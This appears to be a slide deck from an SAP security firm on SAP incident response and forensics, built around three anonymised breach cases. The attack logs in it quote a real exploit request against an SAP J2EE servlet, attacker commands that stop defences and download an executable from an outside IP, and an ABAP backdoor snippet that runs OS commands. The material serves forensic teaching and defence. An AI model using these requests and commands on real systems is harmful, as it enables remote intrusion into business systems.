SAP Incident Response, Real Life Examples on How to Attack and Defend

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JORDAN SANTARSIERI
VICXER’S FOUNDER

Originally devoted to Penetration Testing, Vulnerability Research & Exploit Writing, discovered several vulnerabilities in Oracle, SAP, IBM and many others.

Speaker and trainer at Black-Hat, OWASP-US, Hacker Halted, Ekoparty, etc.
I started researching ERP Software back in 2008.

Had the honor to secure more than 1000 SAP implementations all around the globe, including Fortune-500 companies, military institutions and the biggest ONG on the planet.
ABOUT US

WE ARE VICXER!

• A company focused on securing the business critical applications and its adjacent infrastructure (SAP, Oracle Siebel and others)

• All of our customers belong to the Fortune-500 Group

• We do:

  Oracle & SAP Penetration Testing
  
  Cyber-Security Trainings
  
  Vulnerability Assessment and Management
  
  SAP Forensics & Many More!
NOW EXPANDING TO APAC!

ALWAYS LOOKING FOR NEW PARTNERS!
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CHAPTER 01
INTRODUCTION
Brief Introduction to SAP
WHAT IS SAP?

• SAP stands for *Systems Applications and Products in Data Processing*. It is a German company founded in 1972 by ex-IBM employees.

  • SAP counts **88,500+** Employees Worldwide
  • SAP Has **378,000+** Customers
  • Is Present in More Than **180** Countries
  • Dominate the Market With **87%** of Forbes Global 2000
TWO TYPES OF SAP SOLUTIONS

ENTERPRISE SOLUTIONS

• SAP ERP (Enterprise Resource Planning)
• SAP BI (Business Intelligence)
• SAP CRM (Customer Relationship Management)
• SAP SRM (Supplier Relationship Management)

These Solutions, provide direct services to end users

SUPPORTING SOLUTIONS

• SAP GRC (Government Risk and Compliance)
• SAP Business Objects
• SAP Mobile
• SAP Cloud Connectors

These Solutions support the operations of the Enterprise Solutions
SAP Netweaver

- Netweaver is the framework where SAP is built in. It is the most important technology so far as it synchronizes and regulates the operatory of the different SAP components.

- Netweaver is service oriented! and it is divided in two different stacks, ABAP & J2EE.

![SAP Netweaver System Diagram]

- SAP Solution
  - SAP Business Logic
  - SAP Application Layer
- Base Infrastructure
  - Operating System
  - Database
- SAP Netweaver System
BASIC CONCEPTS

• SAP Transaction
  
  • It can be seen as a “trigger”. A transaction is an specific SAP code that will call a specific SAP program (we have custom and default transactions)

• SAP Program
  
  • These are procedural programs coded in ABAP (proprietary) SAP language. We can have standard and custom programs

• SAP Function Call
  
  • Its an independent ABAP module that can be called locally or remotely. Most of them are authenticated, but some of them are not
SAP CYBER-SECURITY

• Its no secret that cyber-attacks have been growing exponentially over the last decades, and with them, the associated cost of a breach. Some companies have even lost their CISOs, CIOs and CEOs (Equifax, Target) to cyber-attacks.

• But, why would someone attack our ERP implementation?
  • It runs business-critical processes
  • It stores the most sensitive information
  • Most organizations highly depend on it
  • And above all, attackers know that “It’s where the money is”

Naturally, the combination of all those factors makes SAP, the perfect target for espionage, sabotage and fraud attacks.
All situations described on this presentation are real. Names of the victims will not be revealed out of respect and consideration for the victims.
"We’ve Never Had an SAP Security Incident Before"
MISCONCEPTIONS

“We’ve Never Had an SAP Security Incident Before” - Scenario

- Someone hacked a privileged user and used that account to escalate the attack over the company’s network, affecting servers, workstations, switches and of-course SAP systems

- The affected company chose to deprecate ALL of their existing servers, creating what is called a “White-Room” where only reinstalled technology was allowed in

- The main concern of the victim was to know if the SAP was breached and what information (if any) was stolen from the system (credit cards, personally identifiable information, bank accounts, payments, Etc)

- Our target, was the main ERP (Production) system as this system was the one on charge of processing payments and stored customer’s credit cards

- Database forensics was in charge of another team
MISCONCEPTIONS

“We’ve Never Had an SAP Security Incident Before”

- Can we really be sure? In SAP J2EE systems, some audit logs come by default, but in ABAP, security audit logs are not enabled by default.

- Whenever we are faced with this misconception, we should always ask these questions:
  - Do you have the static Security Audit Log enabled in all ABAP systems? And for all users and classes?
  - Do you have all the “other” logs enabled? (Gateway, Message Server, Etc)
  - Is someone actually grabbing and reviewing those logs periodically?
  - In most cases, the answer to all those questions is NO.

*In most cases, organizations do not have the basic information to determine if they have been compromised or not.*
MISCONCEPTIONS

“We’ve Never Had an SAP Security Incident Before”

• The first thing we did was to secure a complete copy of the SAP virtual machines, this included one central instance and three different SAP application servers (four virtual machines in total)

• Then, we evaluated what logs were available to us and discovered that the only audit trail that was activated was the ABAP Security Audit Log

<table>
<thead>
<tr>
<th>Log</th>
<th>Default Location</th>
<th>By Default</th>
<th>Present in Client’s System?</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABAP Security Audit Log</td>
<td>/usr/sap/&lt;SID&gt;/&lt;instance&gt;/log/audit_instance_number&gt;</td>
<td>Not Activated (*)</td>
<td>Yes</td>
</tr>
<tr>
<td>SAP Gateway Log</td>
<td>/usr/sap/&lt;SID&gt;/&lt;instanceFolder&gt;/work/</td>
<td>Not Activated</td>
<td>No</td>
</tr>
<tr>
<td>SAP Message Server Audit Log</td>
<td>/usr/sap/&lt;SID&gt;/&lt;instanceFolder&gt;/work/</td>
<td>Not Activated</td>
<td>No</td>
</tr>
<tr>
<td>Operating System (Linux) Audit Log</td>
<td>/var/log/audit</td>
<td>Not Activated</td>
<td>No</td>
</tr>
</tbody>
</table>

We were far from an ideal scenario ...
MISCONCEPTIONS

“We’ve Never Had an SAP Security Incident Before”

- Security Audit Log in SAP’s Words:

  “The Security Audit Log is a tool designed for auditors who need to take a detailed look at what occurs in the SAP System. By activating the audit log, you keep a record of those activities you consider relevant for auditing. You can then access this information for evaluation in the form of an audit analysis report”

- Security audit log can be edited with transaction SM19, records can be recovered with transaction SM20 and old logs can be removed with transaction SM18

- By default, it comes disabled. If it gets enabled, the security audit log will keep logging until it reaches its maximum size ($rsau/max_diskspace_local$) then, it will stop until logs are purged
“We’ve Never Had an SAP Security Incident Before”

- Lucky for us, the security audit log was indeed maintained
- We encounter so many registered events that using transaction SM20 was not viable. At this point we understood that we needed to parse all the events and take them to Splunk
- For that, we created the following structure for each one of the events:

<table>
<thead>
<tr>
<th>Field</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>SID</td>
<td>SAP system identifier</td>
</tr>
<tr>
<td>Hostname</td>
<td>SAP application server</td>
</tr>
<tr>
<td>Source</td>
<td>Security Audit Log</td>
</tr>
<tr>
<td>Area</td>
<td>Message area</td>
</tr>
<tr>
<td>SubID</td>
<td>Name of the message</td>
</tr>
<tr>
<td>Mandt</td>
<td>Client where the action was registered</td>
</tr>
<tr>
<td>Mode</td>
<td>External mode of an SAP dialog</td>
</tr>
<tr>
<td>Trunc_Term</td>
<td>Truncated Terminal Name (8)</td>
</tr>
<tr>
<td>Time_Stamp</td>
<td>Timestamp</td>
</tr>
</tbody>
</table>
MISCONCEPTIONS

“We’ve Never Had an SAP Security Incident Before”

- Once we added all the events into Splunk, almost immediately we started to see a very common attack pattern. We then logged in into the affected SAP system and we were able to validate the attack with the help of transaction SM20.

<table>
<thead>
<tr>
<th>SESSION_MANAGER SAPMSYST</th>
<th>Password check failed for user DDIC in client 000</th>
</tr>
</thead>
<tbody>
<tr>
<td>SESSION_MANAGER SAPMSYST</td>
<td>Logon Failed (Reason = 1, Type = A)</td>
</tr>
<tr>
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</table>

- A quite basic brute-force attack against the SAP default users.

<table>
<thead>
<tr>
<th>SESSION_MANAGER SAPMSYST</th>
<th>Logon Successful (Type=A)</th>
</tr>
</thead>
<tbody>
<tr>
<td>SESSION_MANAGER SAPMSYST</td>
<td>Password changed for user DDIC in client 000</td>
</tr>
<tr>
<td>SESSION_MANAGER RSRLG0</td>
<td>Report RSRLG0 Started</td>
</tr>
<tr>
<td>SESSION_MANAGER RSRLG0_A</td>
<td>Report RSRLG0_A_Actual Started</td>
</tr>
</tbody>
</table>
“We’ve Never Had an SAP Security Incident Before”

- Finally, we got the worst news, the compromised default user utilized the transaction SE80, this transaction is the **ABAP development** environment from which the attacker can perform “masked calls” to other programs, function modules and even edit source-code.

```
SAPSMTR_NAVIGATION Transaction SE80 Started
SAPMSEU0 Report SAPMSEU0 Started
```

- Unfortunately, we got to a roadblock here, as by utilizing the standard SAP tools (and without the help of a pre-configured trace) there was no way to determine what actions were actually taken by the attacker inside the development environment. Looking at the last log entry, we just knew that a **function call** was called as we saw the executed report **RS_TESTFRAME_CALL**

```
RS_TESTFRAME_CALL Report RS_TESTFRAME_CALL Started
```

- The report **RS_TESTFRAME_CALL** is commonly used by attackers to execute remote function calls and to **bypass** the security audit log in the process. Under these circumstances, our customer had to assume the worst case scenario.
LIVE DEMO

BYPASSING THE SECURITY AUDIT LOG
“We Thought That SAP Cyber-Attacks Were Not Real”
“We Thought That SAP Cyber-Attacks Were Not Real” - Scenario

- The treasury department of an important state in the North region of the American continent, gets surprised by a representative from a law enforcement agency

- Apparently, the state infrastructure had been compromised and it is was being used to distribute malware

- There is one particularity. They indicated that the tip of the spear, the first point of intrusion, was an SAP (dual stack) system that was directly exposed to the Internet

- Law enforcement also mentioned that the attack might be state sponsored, but they did not provide any further explanation or evidence

- The main concern of the victim is to determine if Personal Identifiable Information had been compromised, our second goal was to recreate the intrusion to understand what the perpetrators did inside the compromised system
“We Thought That SAP Cyber-Attacks Were Not Real”

- Even before arriving to the victim's offices we already had a theory, but we needed proof to verify that our hypothesis was actually correct, the first thing we did was creating a copy of the SAP virtual machines

- After we had the virtual machines, we mounted the drives and extracted some tables and relevant SAP logs

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<td>SAP Message Server Audit Log</td>
<td><code>/usr/sap/&lt;SID&gt;/&lt;instanceFolder&gt;/work/</code></td>
<td>Not Activated</td>
<td>No</td>
</tr>
<tr>
<td>SAP J2EE Security Audit Log</td>
<td><code>/usr/sap/&lt;SID&gt;/&lt;instance&gt;/j2ee/cluster/server&lt;x&gt;/</code></td>
<td>Activated</td>
<td>Yes</td>
</tr>
<tr>
<td>SAP J2EE Security Log</td>
<td><code>/usr/sap/&lt;SID&gt;/&lt;instance&gt;/j2ee/cluster/server&lt;x&gt;/log/system/</code></td>
<td>Activated</td>
<td>Yes</td>
</tr>
<tr>
<td>Operating System (Windows) Audit Log</td>
<td><code>%System32%\winevt\Logs</code></td>
<td>Activated</td>
<td>Yes</td>
</tr>
</tbody>
</table>
"We Thought That SAP Cyber-Attacks Were Not Real"

- After parsing all the logs with the help of custom scripts and feeding them to Splunk, we saw this:

```
GET /ctx/servlet/ConfigServlet?param=com.sap.ctx.util.FileSystemConfig;EXECUTE_CVD;CMDLINE=whoami HTTP/1.1
Host: Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9


taskkill /fi "imagename eq powershell.exe" /f

t.exe whoami

net stop mpsavc

net stop mpsavc

"cmd /c whoami"

"cmd /c whoami"

"cmd /c whoami"

"cmd /c whoami"

"cmd /c dir"

"cmd /c dir c:\"

"cmd /c dir *"

"cmd /c echo powershell (New-Object System.Net.WebClient).DownloadFile('http://...17.132/t.exe','D:\usr\sap\JCOG\2ee\cluster\server\t.exe')

"cmd /c type s.bat"
MISCONCEPTIONS

“We Thought That SAP Cyber-Attacks Were Not Real”

• The InvokerServlet is used to invoke servlet classes that are available to the application class loader, it can perform invocations by name or by its fully-qualified class name

```
<servlet>
  <servlet-name>myservlet</servlet-name>
  <servlet-class>mypackage.example.MyServlet</servlet-class>
</servlet>
```

• The main problem is that the url-pattern security clause (in the web.xml file) by default is configured to demand credentials every time someone access the servlet “myservlet”, but, if we leverage the invoker servlet and we call the application by its fully-qualified class name, the name does not match to what is configured in the url-pattern and therefore, no authentication is required
LIVE DEMO

REMOTE CODE EXECUTION ON AN INTERNET FACING SAP J2EE SYSTEM
MISCONCEPTIONS

“We Thought That SAP Cyber-Attacks Were Not Real”

- Our suspicions were correct, the attackers targeted the Internet facing system with a 5 year old exploit that instantly granted remote command execution under the privileges of the user running the SAP system.

- One of our first actions was to tell our customer how to fix the problem (as a copy of the attacked system was still directly exposed to the Internet).

- The customer had to apply SAP Notes 1445998, 1589525 and 1624450. These notes basically disabled the unauthenticated command execution (a restart of the SAP system is required).

- Finally we were in the right position to achieve our main goal, for that, we continued to work with the parsed data in Splunk to better understand the attack and the compromised information.
MISCONCEPTIONS

“We Thought That SAP Cyber-Attacks Were Not Real” – Case Conclusions

• After analyzing all the executed commands we were able to:

  • Conclude that the main point of intrusion was a 5 year old exploit
  • Understand (after analyzing the profile of the attack) that there were at least 3 different attackers
  • Verify that there was no evidence that the attackers obtained Personal Identifiable Information
  • Verify that there was NO lateral movement; the attacker always stayed on the previously compromised SAP system
CHAPTER 04

MISCONCEPTIONS

“The Probability of an SAP Cyber-Attack Is Low”
MISCONCEPTIONS

“The Probability of an SAP Cyber-Attack Is Low” - Scenario

• This scenario is slightly different, the IT security department suspects that SAP was affected by a security incident they had a few months ago, but the SAP administrators disregard the possibility of an Intrusion.

• The IT security department feels that it does not have the necessarily tools / know-how to determine if the SAP systems have been compromised or not, so they call us to perform an SAP Penetration Testing and an SAP Forensic Analysis.

• Main objective is to “measure” the security of the SAP platform and to analyze if the platform has been compromised in the past (a defined time-frame was provided to us).
The Probability of an SAP Cyber-Attack Is Low

If we compare the likelihood of a cyber-attack between a regular workstation vs SAP, the statement is true, but.....

SAP Systems can still be compromised with exploits that were released in 2002!!!
“The Probability of an SAP Cyber-Attack Is Low”

• OPS$ is an Oracle authentication mechanism that is now deprecated but most versions of SAP still requires it to connect to the database

• Under this configuration, SAP “trusts” that someone, somewhere has already authenticated the current user

• <SID>adm user in SAP will always be OPS$, for example, the user will be OPS$<SID>adm

• This user only has enough privileges to consume one table: SAPUSER, which contains encrypted credentials

• SAP will connect with this mechanism, decrypt the password and connect again with the right credentials

<table>
<thead>
<tr>
<th>Userid</th>
<th>Passwd</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAPSR3-CRYPT</td>
<td>V01/0050ZctvSB67Wv3……..</td>
</tr>
</tbody>
</table>
• Each one of the SAP application servers are constantly connecting to the Oracle database, using only `<sid>adm` as username
How Does it Work?

- Each one of the SAP application servers are constantly connecting to the Oracle database, using only `<sid>adm` as username

- SAPSR3’s password is retrieved from table SAPUSER and its decrypted by the SAP application server
Each one of the SAP application servers are constantly connecting to the Oracle database, using only `<sid>adm` as username.

SAPSR3’s password is retrieved from table `SAPUSER` and its decrypted by the SAP application server.

The SAP application server connects again to the Oracle database, using the SAPSR3 user and the decrypted password. This user **DOES** have full privileges over the SAP database schema.
LIVE DEMO

BYPASS ORACLE AUTHENTICATION
AND OBTAIN FULL DATABASE ACCESS
Should I disable the OPS$ mechanism?

- This unsecure authentication mechanism is possible due to a single Oracle configuration parameter called `REMOTE_OS_AUTHENT`

- If `REMOTE_OS_AUTHENT = TRUE`, Oracle trusts that the user has been authenticated externally and the user is marked with the OPS$ on the database

- Oracle recommends `REMOTE_OS_AUTHENT = FALSE`

- SAP *REQUIRES* `REMOTE_OS_AUTHENT = TRUE`, otherwise, it's even worse.....

- Unless you are using the latest SAP Kernel version with the latest Oracle version, your best bet is to restrict who can connect to the **Oracle Listener**

```sql
 tcp.validnode_checking = yes
 tcp.invited_nodes = (192.168.1.102, ...) 
```
MISCONCEPTIONS

“The Probability of an SAP Cyber-Attack Is Low”

- After the full compromise of the SAP system, we coded a Java program that would connect to the Oracle database and analyzed all the custom (ABAP) developments (we were looking for backdoors)

- The SAP ABAP programs can be found in table REPOSRC and REPOLOAD. All the ABAP programs are compressed with the LZH algorithm

- After a few minutes of processing we were able to find a suspicious snip of code

- The code was directly injected into an ABAP program that is commonly triggered by regular (and legit) SAP users
MISCONCEPTIONS

“The Probability of an SAP Cyber-Attack Is Low”

DATA command type string.


CALL ‘SYSTEM’ ID ‘COMMAND’ FIELD command.
LIVE DEMO

DOWNLOAD AND DECOMPRESS AN ABAP PROGRAM FROM THE DATABASE
MISCONCEPTIONS

“The Probability of an SAP Cyber-Attack Is Low”

• Given what we found, we were able to conclude that:
  
  • The SAP system had been compromised in the past
  
  • The backdoor might or might not be related to the security incident that the customer had in the past
  
  • The program was modified “inside” SAP, meaning that the attacker did not insert the backdoor at the database level
  
  • The possibility of having other backdoors inside the analyzed SAP system could not be discarded

Following these discoveries, the customer immediately proceeded to plan a full forensic analysis on their entire SAP platform
WRAPPING-UP!

WHAT TO EXPECT FROM A REAL FORENSIC SCENARIO?
WRAPPING UP

**SAP Forensics – A Few Take Aways**

- SAP Forensics is a quite complicated discipline
- More often than not, customer will not have all the logs available for us
- Expect many data-sources /entry-points
- If audit trails are well configured, expect to deal with TERABYTES of information (have a SIEM at hand)
- Because of the size of SAP, you can never guarantee 100% that the system has NOT been compromised

**Prevent, Prevent, Prevent**, always patch your SAP systems, conduct penetration testings regularly and distrust default configurations
THAT IS ALL...

QUESTIONS?

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